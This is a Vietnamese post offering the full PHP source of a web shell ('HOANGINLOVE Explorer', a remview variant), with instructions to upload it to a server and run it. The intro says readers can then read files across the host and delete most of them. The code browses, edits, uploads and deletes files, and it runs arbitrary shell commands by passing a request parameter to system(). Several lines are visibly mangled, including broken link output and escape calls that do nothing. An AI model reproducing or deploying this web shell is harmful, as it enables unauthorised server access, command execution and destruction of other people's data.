Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó.
<?php
$default_directory = dirname($PATH_TRANSLATED);
$show_icons = 0; define("REMY_EXPLORER_VERSION", "v1.0");
define("BACKGROUND_COLOR", "\"#000000\"");
 define("FONT_COLOR", "\"#ffffff\"");
define("TABLE_BORDER_COLOR", "\"#ffffff\"");
define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
 define("TABLE_FONT_COLOR", "\"#ffffff\"");
define("COLOR_PRIVATE", "\"#ffbb99\"");
define("COLOR_PUBLIC", "\"#000000\"");
define("TRUE", 1);
define("FALSE", 0);
if (!isset($dir)) $dir = $default_directory;
$dir = stripslashes($dir);
$dir = str_replace("\\", "/", $dir);
 $associations = array( "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ), "jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "wav" => array( "function" => "", "icon" => "icons/sound.gif" ), "mp3" => array( "function" => "", "icon" => "icons/sound.gif" ) );
 if ($action != "view"): ?>
<html>
<head>
<title>HOANGINLOVE Explorer - remview</title>
<style type="text/css">
<!-- .body { font-family: 'Verdana'; font-size: 13; color: <? echo FONT_COLOR; ?> } table, div, tr, td
{font: 13 'Verdana'; color: <? echo TABLE_FONT_COLOR; ?> }
a {text-decoration: none; color: "#00ff00" }
 a:hover {text-decoration: underline; color: "#ff0000" }
 --> </style> </head>
<body class="body" bgcolor=<? echo BACKGROUND_COLOR; ?>> <? endif;
 function readDirectory($directory)
 { global $files, $directories, $dir;
 $files = array();
 $directories = array();
 $a = 0; $b = 0;
$dirHandler = opendir($directory);
while ($file = readdir($dirHandler))
{ if ($file != "." && $file != "..")
{ $fullName = $dir.($dir == "/" ? "" : "/").$file;
if (is_dir($fullName)) $directories[$a++] = $fullName;
 else $files[$b++] = $fullName; } }
 sort($directories); sort($files); };
function showInfoDirectory($directory)
{ global $PHP_SELF; $dirs = split("/", $directory);
 print "<b>Directory /"; for ($i = 1; $i < (sizeof($dirs));
$i++) { print "<a href=\"$PHP_SELF?dir=";
for ($a = 1; $a <= $i; $a++) echo "/$dirs[$a]"; echo "\">$dirs[$i]";
if ($directory != "/") echo "/"; } print "</b>\n";
print "Free space on disk: ";
 $freeSpace = diskfreespace($directory);
 if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes", $freeSpace/(1024*1024*1024));
 else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };
function showDirectory($directory)
{ global $files, $directories, $fileInfo, $PHP_SELF;
readDirectory($directory);
showInfoDirectory($directory); ?>
<p><table cellpadding=3 cellspacing=1 width="100%" border="0" bgcolor=<? echo TABLE_BORDER_COLOR; ?>>
<tr bgcolor="#000000"> <? if ($show_icons): ?> <td width="16" align="center" bgcolor=<? echo TABLE_BACKGROUND_COLOR ?>>
 </td> <? endif; ?>
 <td align="center">
<b><small>NAME</small></b></td>
<td align="center"><b><small>SIZE</small></b></td>
 <td align="center"><b><small>LAST MODIF.</small></b></td>
<td align="center"><b><small>PERMISSIONS</small></b></td>
 <td align="center"><b><small>ACTIONS</small></b></td> </tr>
<? for ($i = 0; $i < sizeof($directories);
$i++) { $fileInfo->getInfo($directories[$i]);
showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo->getInfo($files[$i]);
 showFileInfo($fileInfo); } ?>
 </table>
 <? }; class fileInfo { var $name, $path, $fullname, $isDir, $lastmod, $owner, $perms, $size, $isLink, $linkTo, $extension; function permissions($mode) { $perms = ($mode & 00400) ? "r" : "-";
$perms .= ($mode & 00200) ? "w" : "-";
$perms .= ($mode & 00100) ? "x" : "-";
$perms .= ($mode & 00040) ? "r" : "-";
$perms .= ($mode & 00020) ? "w" : "-";
$perms .= ($mode & 00010) ? "x" : "-";
$perms .= ($mode & 00004) ? "r" : "-";
 $perms .= ($mode & 00002) ? "w" : "-";
$perms .= ($mode & 00001) ? "x" : "-"; return $perms; }
function getInfo($file)
{ $this->name = basename($file);
$this->path = dirname($file);
 $this->fullname = $file; $this->isDir = is_dir($file);
 $this->lastmod = date("m/d/y, H:i", filemtime($file));
$this->owner = fileowner($file);
$this->perms = $this->permissions(fileperms($file));
 $this->size = filesize($file);
$this->isLink = is_link($file);
if ($this->isLink) $this->linkTo = readlink($file);
 $buffer = explode(".", $this->fullname);
 $this->extension = $buffer[sizeof($buffer)-1]; } };
 $fileInfo = new fileInfo; function showFileInfo($fileInfo)
 { global $PHP_SELF, $associations; echo "\n<tr bgcolor=".TABLE_BACKGROUND_COLOR." align=\"center\">";
if ($show_icons) {
echo "<td>"; if ($fileInfo->isDir) echo "<img src=\"icons/dir.gif\">";
elseif ($associations[$fileInfo->extension]["icon"] != "") echo "<img src=\"".$associations[$fileInfo->extension]["icon"]."\">";
else echo "<img src=\"icons/generic.gif\">"; echo "</td>"; } echo "<td align=\"left\"";
 if ($fileInfo->perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">";
 if ($fileInfo->isLink) { echo $fileInfo->name." -> ";
$fileInfo->fullname = $fileInfo->linkTo;
 $fileInfo->name = $fileInfo->linkTo; }
if ($fileInfo->isDir) { echo "<b>fullname\" ";
echo ">$fileInfo->name</b>"; }
 else echo $fileInfo->name;
echo "</td>";
echo "<td>$fileInfo->size</td>";
echo "<td>$fileInfo->lastmod</td>";
echo "<td>$fileInfo->perms</td>";
echo "<td>"; if (!$fileInfo->isDir) {
 if ($fileInfo->perms[6] == 'r') { echo "fullname&action=view\"> View"; }
 if ($fileInfo->perms[7] == 'w') {
 echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } }
 echo "</tr>"; };
function viewFile($file)
{ global $associations, $fileInfo;
$fileInfo->getInfo($file);
if (!$associations[$fileInfo->extension] || $associations[$fileInfo->extension]["function"] == "") showFile($file);
 else $associations[$fileInfo->extension]["function"]($file); };
 function showFile($file, $editing = 0)
{ global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file $file");
if ($editing) echo "<h3>
<b>Edit file $file</b></h3><hr>";
else echo "<h3><b>File $file</b></h3><hr>";
 echo "<form";
if ($editing) echo " action=\"$PHP_SELF?action=save&dir=$file\" method=\"post\"";
 echo ">";
 $buffer = fread($handlerFile, filesize($file));
$buffer = str_replace("&", "&", $buffer);
$buffer = str_replace("<", "<", $buffer);
$buffer = str_replace(">", ">", $buffer);
 echo "<textarea wrap=\"off\" cols=\"90\" rows=\"20\" name=\"text\">$buffer</textarea>";
if ($editing) echo "<p>
<input type=\"submit\" name=\"Submit\" value=\"Save changes\"></p>\n</form>";
echo "</form>";
fclose($handlerFile); };
 function saveFile($file)
{ global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing");
$text = stripslashes($text);
fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");
fclose($handlerFile);
 echo "Changes has been saved in ".basename($file)."<hr>";
 $dir = dirname($file); };
 function uploadFile()
{ global $HTTP_POST_FILES,$dir;
copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".$HTTP_POST_FILES["userfile"][name]) or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]);
 echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";
 //unlink($userfile); };
 function deleteFile($file)
 { global $confirm;
if ($confirm != TRUE) die("Confirm deletion of $file");
else {
if (!unlink($file)) return FALSE; return TRUE; } };
 function viewFileHeader($file, $header)
 { header($header); readfile($file); };
function viewGIF($file)
{ viewFileHeader($file, "Content-type: image/gif"); };
function viewJPEG($file)
{ viewFileHeader($file, "Content-type: image/jpeg"); };
 switch ($action) { case "phpinfo": phpinfo();
die();
case "view": viewFile($dir);
break;
case "edit": showFile($dir, 1); break;
case "download": viewFileHeader($dir, "Content-type: unknown"); break; case "delete": if (!deleteFile($dir)) echo "Could not delete file $dir
"; else echo "File $dir deleted succesfully
"; $dir = dirname($dir);
showDirectory($dir);
 break; case "exec": echo "<pre>\n";
echo system($dir);
echo "\n</pre>";
exit();
case "upload": uploadFile(); showDirectory($dir);
break;
case "save": saveFile($dir);
default: showDirectory($dir); break; };
if ($action != "view"): ?>
<p> <table border="0"> <tr><td>
<form method="get" action=<? echo "\"$PHP_SELF\""; ?>>
<input type="hidden" name="dir_from" value=<? echo "\"$dir\""; ?>> <select name="action" size="1"> <option value="jump" selected>Jump to directory</option> <option value="makedir">Create directory</option> <!-- Not implemented yet --> <option value="exec">Execute shell cmd</option> </select>
<input type="text" name="dir" size="20">
<input type="submit" value="Go"> </form> </td>
<? if ((fileperms($dir) & 00002)): ?> <td>
<form enctype="multipart/form-data" action="<? print "$PHP_SELF?dir=$dir&action=upload"; ?>" method=post> <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<input name="userfile" type="file">
<input type="submit" value="Upload file"> </form> </td>
<? endif; ?> </tr> </table> <p> <hr> </p> </body> </html> <? endif; ?>